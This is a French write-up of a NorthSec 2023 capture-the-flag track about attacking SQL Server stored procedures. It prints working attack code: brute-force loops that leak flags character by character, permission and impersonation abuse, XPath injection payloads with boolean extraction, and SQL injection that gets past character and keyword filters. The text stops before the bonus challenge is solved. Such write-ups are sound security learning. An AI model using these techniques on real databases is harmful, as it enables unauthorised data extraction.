Ce billet est le compte rendu de la piste AskG.O.D que nous avons faite à NorthSec 2023.
Introduction
Voici l’introduction du défi. « Notepad.exe » est le forum où tous les défis étaient publiés.

Le port 1433 est le port standard de SQL Server, alors j’ai utilisé SQL Server Management Studio pour me connecter au serveur avec les identifiants fournis.
Une fois connecté, voici ce que l’on voit dans la console:

On trouve plusieurs procédures stockées et le studio nous permet de créer un script pour les exécuter ou pour en voir la définition.
Noms étranges (drapeaux 1 et 2)
Deux des procédures stockées ont des noms étranges, l’une avec un caractère unicode et l’autre entièrement composée de caractères spéciaux. Le studio a bien structuré les appels aux procédures stockées et celles-ci n’exigeaient aucun paramètre. Le caractère unicode a tout de même causé quelques ennuis. Mon collègue Rémi a réglé ça.
Leur exécution nous a donné les deux premiers drapeaux. En les soumettant, nous avons vu qu’il y avait 18 drapeaux dans cette piste.
SlowlyButSherly (drapeau 3)
Je n’ai pas la définition de cette procédure stockée, mais elle effectuait une comparaison de ce genre:
if(@flag like @input+'%')
Si le début de l’entrée correspondait au drapeau, la procédure stockée retournait 1, sinon 0. L’idée était donc de récupérer les caractères un à un en commençant par le premier. J’ai demandé à ChatGPT d’écrire une boucle while en TSQL qui essaie tous les caractères ASCII, puis j’ai modifié le code pour obtenir ceci:
DECLARE @return_value INT
DECLARE @ascii_num INT = 1;
DECLARE @char_val VARCHAR(38);
DECLARE @accum VARCHAR(38) = ''; -- Start with empty string
DECLARE @len INT = 1;
DECLARE @found INT = 0;
WHILE (@len < 39)
BEGIN
SET @found = 0;
SET @ascii_num = 32
-- Try every character
WHILE (
@ascii_num <= 127
AND @found = 0
)
BEGIN
IF (@ascii_num <> 37) -- Don't try '%'
BEGIN
-- Add the character to the end of the string that we found until now
SET @char_val = CONCAT (
@accum
,CHAR(@ascii_num)
);
-- Try this string
EXEC @return_value = [dbo].[SlowlyButSherly] @x = @char_val
IF @return_value = 1
BEGIN
-- If it matches, we set this as our current string
SET @accum = @char_val
SET @found = 1;
SET @len = len(@accum)
END
END
-- Try the next character
SET @ascii_num = @ascii_num + 1;
END
-- Print the string that we found so far, we print it every time we get a new character
print(@accum)
END
Authenticate (drapeau 4)
Cette procédure stockée ressemblait à ceci:
CREATE PROCEDURE [dbo].[Authenticate](@username VARCHAR(50), @password VARCHAR(50))
AS
BEGIN
IF EXISTS(SELECT * FROM Accounts WHERE username = @username AND password = @password)
BEGIN
SELECT flag FROM flags WHERE id = 10
END
END
Je n’ai trouvé aucun moyen de sélectionner de l’information dans la table Accounts. Vu la structure de la requête, j’ai aussi essayé d’insérer une ligne dans la table des comptes avec un nom d’utilisateur et un mot de passe connus, mais je n’avais pas les droits d’insertion. J’avoue qu’il m’a fallu longtemps avant de penser à la solution; j’ai fait d’autres défis de la piste entre-temps.
J’ai fini par avoir l’indice de regarder mes permissions en exécutant cette requête:
SELECT
USER_NAME(grantee_principal_id) AS [user],
USER_NAME(grantor_principal_id) AS [grantor],
OBJECT_NAME(major_id) AS [table_name],
permission_name,
*
FROM
sys.database_permissions
WHERE
USER_NAME(grantee_principal_id) = USER_NAME()
Ça m’a donné beaucoup d’information, et ça m’a aidé à résoudre plusieurs autres défis de la piste:

J’avais les droits de mise à jour sur la table des comptes, alors j’ai résolu le défi comme ceci:
update Accounts set username =‘asd’, password = ‘asd’ exec Authenticate ‘asd’,‘asd’
StoredProcedure (drapeau 5)
L’énumération des permissions faite pour le défi Authenticate m’a permis de voir une procédure stockée nommée « StoredProcedure ». Curieusement, elle n’apparaissait pas dans la liste de SQL Server Management Studio. Je l’ai donc exécutée et j’ai obtenu un autre drapeau.
AskGOD (drapeau 6)
Voici la procédure stockée:
CREATE PROCEDURE [dbo].[AskGOD]
AS
BEGIN
DECLARE @object VARBINARY(max), @output NVARCHAR(max)
SELECT TOP 1 @object = [data] FROM Gibberish
EXECUTE dbo.Decrypt @object, @output = @output OUTPUT
IF (@output = 'O'' GOD, may I ask for the flag please.')
BEGIN
SELECT flag FROM flags WHERE id = 11
END
END
Dans la liste, il y avait deux procédures stockées, Decrypt et Encrypt, que nous pouvions exécuter sans en voir la définition. J’ai simplement essayé de chiffrer la sortie voulue et utilisé l’astuce d’Authenticate pour mettre à jour la table Gibberish.
DECLARE @object VARBINARY(max), @output NVARCHAR(max) set @output = ‘O’’ GOD, may I ask for the flag please.’ exec encrypt @output, @output = @object OUTPUT update Gibberish set [data] = @object exec AskGod
ExecuteMeIfYouCan (drapeau 7)
Celui-là était simple:
CREATE PROCEDURE [dbo].[ExecuteMeIfYouCan]
AS
BEGIN
SELECT flag FROM flags WHERE id = 12
END
Je ne pouvais pas l’exécuter directement, mais j’ai vu que nous avions des droits d’usurpation d’identité depuis coworker, alors j’ai simplement essayé:
exec as user = ‘coworker’ exec ExecuteMeIfYouCan
createTempTable (drapeau 8)
Je n’ai pas cette procédure stockée, mais de mémoire elle ressemblait à ceci:
CREATE PROCEDURE [dbo].[createTempTable]
AS
BEGIN
SELECT flag FROM flags WHERE id = X INTO ##temp
drop table ##temp
END
L’idée était que la procédure stockée place le drapeau dans une table temporaire et supprime celle-ci immédiatement après. L’astuce, c’était de remarquer que le nom de la table temporaire commençait par « ## », ce qui en fait une table temporaire globale. Elle est donc accessible à tout le monde et aux autres connexions. Voir: https://stackoverflow.com/a/2921091
Il fallait donc interroger la table temporaire au moment exact où elle contenait le drapeau. Le problème, c’est que l’interroger quand elle n’existe pas produit une erreur qui arrête les scripts.
J’ai demandé à ChatGPT de me faire une boucle appelant une procédure stockée de façon répétée tout en interceptant les exceptions.
Le premier script appelle la procédure stockée à répétition pour placer le drapeau dans la table temporaire.
DECLARE @retryCount INT = 100000;
DECLARE @retryDelayInSeconds INT = 5;
DECLARE @retryAttempts INT = 0;
WHILE (@retryAttempts < @retryCount)
BEGIN
exec createTempTable
SET @retryAttempts = @retryAttempts + 1;
PRINT 'The SELECT statement failed. Retrying... Attempt ' + CAST(@retryAttempts AS VARCHAR(10));
end
Le second script interroge la table temporaire à répétition avec une clause catch pour que le script ne s’arrête pas.
DECLARE @retryCount INT = 100000;
DECLARE @retryDelayInSeconds INT = 5;
DECLARE @retryAttempts INT = 0;
WHILE (@retryAttempts < @retryCount)
BEGIN
BEGIN TRY
exec (' SELECT * FROM ##temp;')
-- Exit the loop if the SELECT statement succeeded
SET @retryAttempts = @retryCount;
END TRY
BEGIN CATCH
SET @retryAttempts = @retryAttempts + 1;
-- Print a message for the retry attempt
IF (@retryAttempts < @retryCount)
BEGIN
PRINT 'The SELECT statement failed. Retrying... Attempt ' + CAST(@retryAttempts AS VARCHAR(10));
END
END CATCH
end
b2JmdXNjYXRIZA== (drapeau 9)
Cette procédure stockée prend un seul paramètre, mais il est difficile de savoir quoi lui passer. Elle ressemble à ceci:
CREATE PROCEDURE [dbo].[b2JmdXNjYXRlZA==] (@AAymxBn9HwG6T2 VARCHAR(32))
AS
BEGIN
CREATE TABLE #qNs2BLcR4j (flag VARCHAR(38), AAymxBn9HwG6T2 VARCHAR(32), z9ebDjZgqX VARCHAR(4), LXduUXp3V5 INT)
INSERT INTO #qNs2BLcR4j SELECT flag, @AAymxBn9HwG6T2, z9ebDjZgqX, LXduUXp3V5 FROM flags, YxA9R69MCb WHERE id = 1
DECLARE @query VARCHAR(MAX)
SET @query = (SELECT CONVERT(VARCHAR(MAX),CAST('' as xml).value('xs:base64Binary(''REVjbEFyRSBAaWFxNVpYWmNqNSBJblQsQGhHMktlaXZQV0Z1T3lSSyB2QXJDaEFyKE1heCksQG13bmxscXdNZGR0IFZhckNIYVIoNCk7c2VsRWN0IEBpYXE1WlhaY2o1PTEsQG13bmxscXdNZGR0PXo5ZWJEalpncVgsQGhHMktlaXZQV0Z1T3lSSz0weDY3YjllNmE0NDJhZWUwZTg2Mzk5ZThmYjYyOTljYTg2NTI5ZGUzZjE0YmZjY2NhNjc3ZjBhNTg4NmZhOWU3YmI3M2E1ZWU4NzE3YWVlZmZkMDNhYWM0YmE2MDk0YzQ5YTBiYjFjNDkwMGFmMGE1ODg0NmE4ZjFiMDUzOGNmZmFkNTc5N2NiZTg0YTkyZjFmMzUwOTljOWFkNjA4OGE1ODg2NmIxYjY4OTY2OTNjYmI5NjJiYWJjYTAxZWVkYTk4ODZmYTllN2JiNzNhNWVlODcxN2FlZWZmZDFlZWNmZGFjMTNiZmUxZjAxNGU0ZTNhYzQyYmRlNmFjMTBiZmU2YTk0MmJlZTdmMDE0YmVlN2FhMTViZWIyZjAxNGU1YmRmMDE0YmRiZGE5MWJiOWI1YWMxN2I4ZTNhOTFhYjhiMGE5MTNiZGUzYWM0NmJkZTBmMTQ3YmVlN2YxMWFlNGIyYWI0N2I4YmNhYzE1YjhiMWYwMTRlNGU0YWMxYmJlYjBhYzQyZTViY2E5MWFiZWI2YWI0MmJlYmNmMTQxYjhiNGYxMTNlNGIyYTkxN2U0YjJmMDQ2YmZlNmYxNDBiZmU2YWIxYWJmZTRhYjQxYmZlNGFiNDBlNWU3YWI0MWU1YjJhYjQxYmRiNWYxNDdiZGI1ZjExYmJmZTdhYjFiZTVlNmFiNDBlNWUwYWI0N2U1ZTRmMTQ2ZTVlN2FiNDdiZmJjZjExYWJmZTZmMTQ2YmZlMWFiMWFlNGUwZmYxN2ViYjRhYjFhYmZlNmFiNDZiZWI1YWMxNmViYjFmZjEyYjhlNGE5NDBiZWI2YWI0MGJkZTRhYzQxZTRiMmFiNDdiOGI2YWIxYmJmZTBmMDE0YmRlMWFjMWFiZWIzYWExN2U0YjJmMDQyYjhiZGFhMTZiOGU0ZjExYWJkYmNhYTEwYmZlNGFhMWFlNWU3YWMxMmViYjFmZjEyYmZlNmFhMTZiZmU3ZTQwMzljZTBiYzU3YTRmNTk4NTliOWYxODM2ZGZjYjhlODZmODRlMWJkNzY4NGY1ZmI3NWU5YTU4ZTcxOTNlOGU4MDBhZGNiYmIxMTllYzlhYjcxZThlZmYzNTRiNGVjYTQ0NmZjYzU4ZDRlZWZjNDhkNmM5MmY0ODk0NWU1ZWRmNDFlYjBlMDg2MGI5Y2M5YmQ0MWFmZDViMTQ4OTNiMWJhNDllOWFjYzI2MTk5YzJhMTZkZDZkNjhkNTdmY2M1ODQ1NmJlZjY5ODVhYjdjYWZjNTFiNmIwZjU1MGE5YzdiYjc3YWVjYzg2NDRmNGM1ODQ1NmJlZjY5ODVhYjdjYWZjNTFiNmIwZTQwM2VkYTllODYzOTllOGZiNjI5OWNhODY1MjlkZTNmMTRiZjFiNGUxMDg5ZmVkYTk1MWY0ZTQ5YjQwYjVlY2UwNzA4OWU3OWI3N2FlY2NhNjQ0ZjRjNTg0NTZiZWY2OTg1YWI3Y2FmYzUxYjZiMGU0NjM5OWU4ZmI2Mjk5Y2E4NjUyOWRlM2YxNGJmMGI0ZTEwYWYxYzVhZDU3YThmZGI4NzNhNmUwYmM2ODkyYWNlMzcwYTljNzliNTc4ZWVjYTY0NGY0YzU4NDU2YmVmNjk4NWFiN2NhZmM1MWI2YjBlNDAzOWNjMGE1MTA5ZGMwODc2ZGFkYzRhZTFhYjRhZWY5MGZmY2U5YWQ2ZGY0YzU4NDU2YmVmNjk4NWFiN2NhZmM1MWI2YjBlMTBhZTdmNjhkNTdmY2M1OGQ0ZWVmYzQ4ZDZjOTJmNDg5NDVlNWVkZjU2Mzk5ZThmYjYyOTljYTg2NTI5ZGUzZjE0YmY3YjRjMjY2YjJlMWYzNDY4NGMwOGIwM2Y0YzU4NDU2YmVmNjk4NWFiN2NhZmM1MWI2YjBlMSBGUk9tICNxTnMyQkxjUjRqO3dISWxlIEBpYXE1WlhaY2o1PD1sRW4oQGhHMktlaXZQV0Z1T3lSSykKYmVHaU4gClNlVCBAaEcyS2VpdlBXRnVPeVJLPXN1YlNUUklORyhAaEcyS2VpdlBXRnVPeVJLLDEsQGlhcTVaWFpjajUtMSkrQ2hhcihBU0NpSShTdWJTVHJpTkcoQGhHMktlaXZQV0Z1T3lSSyxAaWFxNVpYWmNqNSwxKSleQXNjSUkoc3ViU1RSSW5HKEBtd25sbHF3TWRkdCwoKEBpYXE1WlhaY2o1LTEpJWxlbihAbXdubGxxd01kZHQpKSsxLDEpKSkrc3ViU1RySW5nKEBoRzJLZWl2UFdGdU95UkssQGlhcTVaWFpjajUrMSxMZU4oQGhHMktlaXZQV0Z1T3lSSykpO3NFVCBAaWFxNVpYWmNqNT1AaWFxNVpYWmNqNSsxOwplTkQ7RVhFYyAoQGhHMktlaXZQV0Z1T3lSSyk='')','varbinary(MAX)')))
EXECUTE (@query)
END
Ça ressemblait à une requête obscurcie, alors j’ai exécuté le select pour obtenir:
DECLARE @iaq5ZXZcj5 INT
,@hG2KeivPWFuOyRK VARCHAR(Max)
,@mwnllqwMddt VARCHAR(4);
SELECT @iaq5ZXZcj5 = 1
,@mwnllqwMddt = z9ebDjZgqX
,@hG2KeivPWFuOyRK = 0x67B9E6A442AEE0E86399E8FB6299CA86529DE3F14BFCCCA677F0A5886FA9E7BB73A5EE8717AEEFFD03AAC4BA6094C49A0BB1C4900AF0A58846A8F1B0538CFFAD5797CBE84A92F1F35099C9AD6088A58866B1B6896693CBB962BABCA01EEDA9886FA9E7BB73A5EE8717AEEFFD1EECFDAC13BFE1F014E4E3AC42BDE6AC10BFE6A942BEE7F014BEE7AA15BEB2F014E5BDF014BDBDA91BB9B5AC17B8E3A91AB8B0A913BDE3AC46BDE0F147BEE7F11AE4B2AB47B8BCAC15B8B1F014E4E4AC1BBEB0AC42E5BCA91ABEB6AB42BEBCF141B8B4F113E4B2A917E4B2F046BFE6F140BFE6AB1ABFE4AB41BFE4AB40E5E7AB41E5B2AB41BDB5F147BDB5F11BBFE7AB1BE5E6AB40E5E0AB47E5E4F146E5E7AB47BFBCF11ABFE6F146BFE1AB1AE4E0FF17EBB4AB1ABFE6AB46BEB5AC16EBB1FF12B8E4A940BEB6AB40BDE4AC41E4B2AB47B8B6AB1BBFE0F014BDE1AC1ABEB3AA17E4B2F042B8BDAA16B8E4F11ABDBCAA10BFE4AA1AE5E7AC12EBB1FF12BFE6AA16BFE7E4039CE0BC57A4F59859B9F1836DFCB8E86F84E1BD7684F5FB75E9A58E7193E8E800ADCBBB119EC9AB71E8EFF354B4ECA446FCC58D4EEFC48D6C92F48945E5EDF41EB0E0860B9CC9BD41AFD5B14893B1BA49E9ACC26199C2A16DD6D68D57FCC58456BEF6985AB7CAFC51B6B0F550A9C7BB77AECC8644F4C58456BEF6985AB7CAFC51B6B0E403EDA9E86399E8FB6299CA86529DE3F14BF1B4E1089FEDA951F4E49B40B5ECE07089E79B77AECCA644F4C58456BEF6985AB7CAFC51B6B0E46399E8FB6299CA86529DE3F14BF0B4E10AF1C5AD57A8FDB873A6E0BC6892ACE370A9C79B578EECA644F4C58456BEF6985AB7CAFC51B6B0E4039CC0A5109DC0876DADC4AE1AB4AEF90FFCE9AD6DF4C58456BEF6985AB7CAFC51B6B0E10AE7F68D57FCC58D4EEFC48D6C92F48945E5EDF56399E8FB6299CA86529DE3F14BF7B4C266B2E1F34684C08B03F4C58456BEF6985AB7CAFC51B6B0E1
FROM #qNs2BLcR4j;
WHILE @iaq5ZXZcj5 <= lEn(@hG2KeivPWFuOyRK)
BEGIN
SET @hG2KeivPWFuOyRK = subSTRING(@hG2KeivPWFuOyRK, 1, @iaq5ZXZcj5 - 1) + CHAR(ASCiI(SubSTriNG(@hG2KeivPWFuOyRK, @iaq5ZXZcj5, 1)) ^ AscII(subSTRInG(@mwnllqwMddt, ((@iaq5ZXZcj5 - 1) % len(@mwnllqwMddt)) + 1, 1))) + subSTrIng(@hG2KeivPWFuOyRK, @iaq5ZXZcj5 + 1, LeN(@hG2KeivPWFuOyRK));
SET @iaq5ZXZcj5 = @iaq5ZXZcj5 + 1;
END;
EXEC (@hG2KeivPWFuOyRK)
Après l’avoir regardé un moment, j’ai compris qu’il s’agissait d’octets hexadécimaux xorés avec une clé inconnue de 4 octets. J’ai écrit un petit programme pour créer 4 ensembles d’octets selon leur index modulo 4. J’ai ensuite essayé toutes les valeurs d’un octet à xorer avec toutes les valeurs de chaque ensemble. Si, après le XOR, toutes les valeurs de l’ensemble tombaient dans la plage imprimable, je conservais la valeur utilisée. J’obtenais ainsi 4 ensembles de valeurs candidates. J’ai eu un peu de mal, parce que certaines valeurs semblaient impossibles à xorer dans deux des ensembles: elles ne donnaient pas de caractères valides. J’ai donc abaissé le seuil: si seulement un ou deux caractères de l’ensemble ne donnaient pas de caractères imprimables, je considérais quand même la valeur comme candidate.
J’ai ensuite essayé toutes les combinaisons de valeurs candidates à xorer avec les données et j’ai affiché tous les textes contenant « select ». Avec ces 4 octets, on obtient:
DECLARE @Em3AEONqAf9h INT
,@LubsPykO4rj5 VARCHAR(mAX)
,@ettxpPzetKN INT;
SELECT @Em3AEONqAf9h = 1
,@LubsPykO4rj5 = 0xD0CD878FDAACD3CCAABB87BBB6B7879887A8A8E0D4DFA9D5A0AFDEAE9DBB9987CDD9D6D4878AD8B5DA99A9B3CAB99BD19087A4878ECC9CCCC9CACBCACC9BCB97CBA09DA098CBC89CCC9ECD9A9E9BCDC999CC9ECDC98E7471C9CCCEB0D57471DAACB3CCAADB87CDD3C8CE87ADD9B6B4878AD8B5DA99A9B3CAB99BD17471CCB5CB
,@ettxpPzetKN = LXduUXp3V5
FROM #qNs2BLcR4j;
WHILE @Em3AEONqAf9h <= leN(@LubsPykO4rj5)
BEGIN
SET @LubsPykO4rj5 = suBsTrINg(@LubsPykO4rj5, 1, @Em3AEONqAf9h - 1) + CHAR(aScii(SUbSTrIng(@LubsPykO4rj5, @Em3AEONqAf9h, 1)) - @ettxpPzetKN) + SuBStRing(@LubsPykO4rj5, @Em3AEONqAf9h + 1, leN(@LubsPykO4rj5));
SET @Em3AEONqAf9h = @Em3AEONqAf9h + 1
END;
EXEC (@LubsPykO4rj5)
C’est le même concept, mais avec un seul caractère xoré avec les octets hexadécimaux. J’ai utilisé une tactique semblable pour obtenir ceci:
if (sEleCT TOP 1 AAymxBn9HwG6T2 from #qNs2BLcR4j) = 'e5ebcdce4d0d9691da5e7f374fb2e7fb'
begIn
sELeCt flag FrOM #qNs2BLcR4j
eNd
Ça nous donnait ce qu’il fallait envoyer à la procédure stockée pour obtenir le drapeau.
Substitution (drapeau 10)
Cette procédure stockée ressemblait à ceci:
CREATE PROCEDURE [dbo].[substitution] (@query VARCHAR(500))
AS
BEGIN
SET NOCOUNT ON
DECLARE @rowCount INT, @row INT = 0, @index INT = 1, @position INT = 1, @length INT, @replaceFrom VARCHAR(30), @replaceTo VARCHAR(30), @newquery VARCHAR(500) = ''
CREATE TABLE #UmRYqEjd9ylygA (flag VARCHAR(38))
INSERT INTO #UmRYqEjd9ylygA SELECT flag FROM flags WHERE id = 8
CREATE TABLE #VK37aPGHw9l4e (replaceTo VARCHAR(30), position INT, length INT)
SELECT @rowCount = COUNT(*) FROM SubstitutionTable
WHILE @row < @rowCount
BEGIN
SELECT @replaceFrom = replaceFrom, @replaceTo = replaceTo FROM SubstitutionTable ORDER BY replaceFrom OFFSET @row ROW FETCH FIRST 1 ROW ONLY
SET @index = 1
SET @position = CHARINDEX(@replaceFrom, UPPER(@query), @index)
WHILE @position > 0
BEGIN
INSERT INTO #VK37aPGHw9l4e VALUES (@replaceTo, @position, LEN(@replaceFrom))
SET @index = @index + @position + LEN(@replaceFrom)
SET @position = CHARINDEX(@replaceFrom, UPPER(@query), @index)
END
SET @row = @row + 1
END
SET @row = 0
SET @index = 1
SELECT @rowCount = COUNT(*) FROM #VK37aPGHw9l4e
WHILE @row < @rowcount
BEGIN
SELECT @replaceTo = replaceTo, @position = position, @length = length FROM #VK37aPGHw9l4e ORDER BY position OFFSET @row ROW FETCH FIRST 1 ROW ONLY
IF @index < @position
BEGIN
SET @newquery = @newquery + SUBSTRING(@query, @index, @position - @index)
END
SET @newquery = @newquery + @replaceTo
SET @index = @position + @length
SET @row = @row + 1
IF @row = @rowCount
BEGIN
SET @newquery = @newquery + SUBSTRING(@query, @index, LEN(@query) + 1 - @index)
END
END
EXEC (@newquery)
END
Je l’ai exécutée avec « asd » et, par chance, je suis tombé sur une des substitutions, ce qui a produit l’erreur « Invalid syntax near fromd ». J’ai ensuite passé beaucoup de temps à essayer de reconstituer la table de substitution complète, croyant qu’il faudrait construire une chaîne bizarre qui serait substituée pour donner la bonne requête.
Après plusieurs heures, j’ai changé de tactique. Au départ, j’avais essayé de répéter la chaîne comme ceci: « asdasdasd », mais le second « as » n’était pas remplacé par « from » comme le premier. J’ai remarqué cette ligne:
SET @index = @index + @position + LEN(@replaceFrom)
Le @position de cette ligne fait beaucoup augmenter l’index et saute beaucoup de caractères qui ne sont donc pas remplacés. Au bout du compte, il me suffisait d’écrire le select voulu, en m’assurant d’abord d’avoir provoqué assez de remplacements pour que ma vraie requête ne soit pas touchée.
J’ai fini par utiliser ce texte dans la procédure stockée:
--aaaaaaaaaaaaaaaaasdselectselectselectfromfromfromfromfrom select * from #UmRYqEjd9ylygA
Tous les select et les from de la première ligne sont remplacés et, comme ils suivent « – », ils sont dans un commentaire qui n’arrête pas l’exécution. Ensuite, sur une ligne distincte, j’écris la bonne requête et il n’y a plus de substitution, parce qu’il y en a eu assez sur la première ligne.
GetOut (drapeau 11)
Je ne me souviens plus de ma solution et je n’ai pas la définition de cette procédure stockée. De mémoire, il s’agissait d’obtenir le paramètre de sortie. Je crois que SQL Server Management Studio a encore fait tout le travail à ma place, mais je n’en suis pas certain.
GetWorkerProperty (drapeaux 12, 13 et 14)
Cette procédure stockée ressemblait à ceci:
CREATE PROCEDURE [dbo].[GetWorkerProperty] (@workername VARCHAR(150))
AS
BEGIN
-- You see 2 flags? I see 3.
IF (@workername LIKE '%''%')
BEGIN
RETURN -1
END
DECLARE @flag1 VARCHAR(38), @flag2 VARCHAR(38), @query VARCHAR(300)
SELECT @flag1 = flag FROM flags WHERE id = 16
SELECT @flag2 = flag FROM flags WHERE id = 17
CREATE TABLE #workers (properties XML, flag VARCHAR(38))
INSERT INTO #workers SELECT properties, @flag2 FROM workers
SET @query = 'DECLARE @flag VARCHAR(38);SET @flag = '''+@flag1+''';SELECT properties.query(''//worker[@name = "'+@workername+'"]/child::node()'') AS property FROM #workers AS w'
EXECUTE(@query)
END
Il y avait deux drapeaux et l’indice d’un troisième. C’était clairement un défi d’injection XPath dans du XML et l’astuce consistait à trouver la bonne syntaxe.
Je me suis créé un bac à sable pour expérimenter avec la syntaxe. C’est une bonne stratégie en général: pouvoir reproduire le défi dans un environnement connu donne beaucoup plus d’information.
DECLARE @xmlData XML = 'John DoeJane Doe';
SELECT @xmlData.query('//worker[@name = "johnny"]/child::node()') AS property
J’ai ensuite combiné une technique classique d’injection SQL et de traversée de chemin pour extraire le document XML complet.
DECLARE @xmlData XML = 'John DoeJane Doe';
SELECT @xmlData.query('//worker[@name = "a" or "1"="1"]/../../..["1"="1"]/child::node()') AS property
exec GetWorkerProperty ‘a” or “1”=“1”]/../../..[“1”=“1’
Ça m’a donné le troisième drapeau secret.
J’ai ensuite tenté d’obtenir le drapeau contenu dans la variable « @flag ». J’ai fini par trouver la syntaxe sql:variable("@flag") pour accéder aux variables. J’ai alors utilisé une technique d’énumération valeur par valeur, comme dans une injection SQL booléenne.
Voici ma preuve de concept:
exec GetWorkerProperty ‘a” or “FLAG-”=substring(sql:variable(“@flag”),1,5) or “2”=“1’
exec GetWorkerProperty ‘a” or “0”=substring(sql:variable(“@flag”),6,5) or “2”=“1’ exec GetWorkerProperty ‘a” or “1”=substring(sql:variable(“@flag”),6,5) or “2”=“1’ exec GetWorkerProperty ‘a” or “2”=substring(sql:variable(“@flag”),6,5) or “2”=“1’ exec GetWorkerProperty ‘a” or “3”=substring(sql:variable(“@flag”),6,5) or “2”=“1’ exec GetWorkerProperty ‘a” or “4”=substring(sql:variable(“@flag”),6,5) or “2”=“1’ exec GetWorkerProperty ‘a” or “5”=substring(sql:variable(“@flag”),6,5) or “2”=“1’ exec GetWorkerProperty ‘a” or “6”=substring(sql:variable(“@flag”),6,5) or “2”=“1’ exec GetWorkerProperty ‘a” or “7”=substring(sql:variable(“@flag”),6,5) or “2”=“1’ exec GetWorkerProperty ‘a” or “8”=substring(sql:variable(“@flag”),6,5) or “2”=“1’ exec GetWorkerProperty ‘a” or “9”=substring(sql:variable(“@flag”),6,5) or “2”=“1’ exec GetWorkerProperty ‘a” or “a”=substring(sql:variable(“@flag”),6,5) or “2”=“1’ exec GetWorkerProperty ‘a” or “b”=substring(sql:variable(“@flag”),6,5) or “2”=“1’ exec GetWorkerProperty ‘a” or “c”=substring(sql:variable(“@flag”),6,5) or “2”=“1’ exec GetWorkerProperty ‘a” or “d”=substring(sql:variable(“@flag”),6,5) or “2”=“1’ exec GetWorkerProperty ‘a” or “e”=substring(sql:variable(“@flag”),6,5) or “2”=“1’ exec GetWorkerProperty ‘a” or “f”=substring(sql:variable(“@flag”),6,5) or “2”=“1’
Je n’ai pas trouvé de façon simple d’accéder au jeu de résultats retourné par la procédure stockée. Il apparaît bien dans la fenêtre de sortie, mais je ne savais pas comment l’utiliser dans le script T-SQL. J’ai fini par demander à ChatGPT de m’écrire les boucles while essayant les caractères hexadécimaux à chaque position successive du drapeau. Quand le caractère était le bon, le jeu de résultats contenait une valeur; sinon, il était vide. J’affichais le caractère essayé ainsi que l’index, simplement pour pouvoir les assembler rapidement à la main en repérant les jeux de résultats non vides. Avoir autant de jeux de résultats dans la fenêtre de sortie ralentissait beaucoup le studio, alors je l’ai fait en deux passes: caractères 6 à 20, puis 20 à 40, les 5 premiers étant « FLAG- ».
DECLARE @hexDigits NVARCHAR(16) = N'0123456789abcdef';
DECLARE @index INT = 1;
DECLARE @index2 INT = 20;
DECLARE @count INT = LEN(@hexDigits);
DECLARE @currentChar NVARCHAR(1);
declare @test varchar(100);
declare @res int;
while(@index2 < 40)
begin
set @index = 1
WHILE (@index <= @count)
BEGIN
SET @currentChar = SUBSTRING(@hexDigits, @index, 1);
PRINT 'Trying hex digit ' + @currentChar;
set @test = concat('a" or "',@currentChar,'"=substring(sql:column("flag"),',@index2,',1) or "2"="1')
print @test
select @index2,@currentChar
exec GetWorkerProperty @test
SET @index = @index + 1;
END
SET @index2 = @index2 + 1;
end
Ça m’a donné le premier drapeau, et j’ai obtenu le second avec la même technique, mais avec la syntaxe sql:column("flag"), ce second drapeau étant rangé dans une autre colonne de la même table.
BooleanSQLi (drapeau 15)
C’est mon collègue qui a fait celui-là, je n’ai pas le code.
ErrorSQLi (drapeau 16)
C’est mon collègue qui a fait celui-là, je n’ai pas le code.
UnionSQLi (drapeau 17)
C’est mon collègue qui a fait celui-là, je n’ai pas le code.
Bonus (drapeau 18)
Il y avait une autre procédure stockée nommée « UnlockBonusChallenge ». Elle indiquait de l’exécuter avec les valeurs des drapeaux de BooleanSQLi, ErrorSQLi et UnionSQLi pour accéder au défi bonus. Nous l’avons fait et elle nous a donné des identifiants pour nous connecter au même serveur avec un compte différent nommé « bonus ». Avec cette connexion, il n’y avait qu’une seule procédure stockée, nommée « challenge ».
BEGIN
DECLARE @i INT = 1
WHILE @i < len(@injection)
BEGIN
IF SUBSTRING(@injection, @i, 1) NOT LIKE '[a-zA-Z0-9''#.,\[\]()_]' ESCAPE '\'
RETURN -1
SET @i = @i + 1
END
CREATE TABLE #XPvRMOo5qobus8 (yY1aX7UuNiC VARCHAR(16))
DECLARE @query VARCHAR(MAX)
SET @query = 'SELECT ''' + @injection + ''''
EXEC (@query)
EXEC validator
END
La première partie vérifiait que seuls les caractères autorisés étaient soumis. Beaucoup de caractères dangereux étaient permis, notamment « ’ », qui nous permettait de nous échapper. Mais certains caractères importants manquaient: « », « ; », « = » et les sauts de ligne.
Exécutée avec une entrée contenant un caractère invalide, elle retournait simplement -1. Exécutée avec « 1 » pour que le select fonctionne, elle affichait:
The goal of this challenge is to have the following schema ‘TABLE #XPvRMOo5qobus8 (givemeflagplease VARCHAR(16))’ with the value of #XPvRMOo5qobus8.givemeflagplease = ‘GiveMeFlagPlease’. If you successfully meet this requirement, the flag will appear in the results.
La table temporaire était déjà créée avec le bon nom, mais le nom de la colonne n’était pas le bon et il fallait y insérer les bonnes données. Pour avoir beaucoup utilisé SQL Server, je savais que le « ; » à la fin des instructions était inutile lorsqu’elles étaient sur des lignes distinctes. Mais je savais aussi, à force de travailler dans SQL Server Management Studio, que même sur une même ligne, les instructions n’avaient pas besoin de « ; » entre elles. Dans le studio, l’analyseur souligne les éléments de syntaxe invalides d’un trait ondulé rouge. Or, en éditant, j’avais remarqué qu’en fusionnant des lignes il n’y avait parfois aucune erreur de syntaxe avec deux instructions adjacentes. En passant, je me suis toujours demandé à quel point il est difficile d’écrire un analyseur qui gère cette syntaxe folle.
Malgré ces indices, j’ai quand même passé des heures sur ce problème. La difficulté, c’est que pour insérer des données il faut « INSERT INTO… ». L’espace entre « INSERT » et « INTO » était l’obstacle qui m’empêchait d’insérer. J’avais des solutions pour tout le reste. J’ai découvert assez vite comment renommer la colonne de la table temporaire, comme ceci:
exec challenge ‘1’‘use[tempdb]exec[sp_rename]’‘#XPvRMOo5qobus8.yY1aX7UuNiC’‘,’‘givemeflagplease’
– Results in this when put in the stored proc select ‘1’use[tempdb]exec[sp_rename]’#XPvRMOo5qobus8.yY1aX7UuNiC’,‘givemeflagplease’
J’ai essayé la syntaxe « SELECT INTO » pour insérer des données dans une table temporaire, mais elle exige une nouvelle table temporaire; je ne pouvais donc pas insérer dans la bonne, puisqu’elle existait déjà. J’ai longtemps essayé de supprimer la table temporaire existante ou de la renommer pour la tasser, mais ces deux opérations sont interdites et je n’ai pas trouvé de contournement.
